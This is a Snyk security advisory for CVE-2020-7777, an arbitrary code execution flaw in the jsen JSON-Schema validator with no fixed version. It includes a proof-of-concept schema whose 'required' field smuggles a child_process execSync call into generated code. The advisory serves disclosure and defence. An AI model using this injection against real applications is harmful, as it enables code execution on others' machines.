Arbitrary Code Execution

Affecting jsen package, versions *

INTRODUCED: 1 OCT 2020 CVE-2020-7777 CWE-94 FIRST ADDED BY SNYK

Share

How to fix?

There is no fixed version for `jsen`.

Overview

jsen is a JSON-Schema validator built for speed

Affected versions of this package are vulnerable to Arbitrary Code Execution. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so I assume that this is applicable.

In particular the `required` field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a `Function.apply();`, leading to an Arbitrary Code Execution.

PoC

```
const jsen = require('jsen');
let schema = JSON.parse(

  { &quot;type&quot;: &quot;object&quot;, &quot;properties&quot;: { &quot;username&quot;: { &quot;type&quot;: &quot;string&quot; } },
  &quot;required&quot;: [&quot;\\&quot;+process.mainModule.require(\&#39;child_process\&#39;).execSync(\&#39;touch
  malicious\&#39;)+\\&quot;&quot;] }

);


const validate = jsen(schema); validate({});
```

References

- Vulnerable Code

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Privileges Required	HIGH
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

NVD 7.2 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-JSEN-1014670
Published	23 Nov 2020
Disclosed	1 Oct 2020
Credit	Alessio Della Libera (d3lla)

Report a new vulnerability | Found a mistake?

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT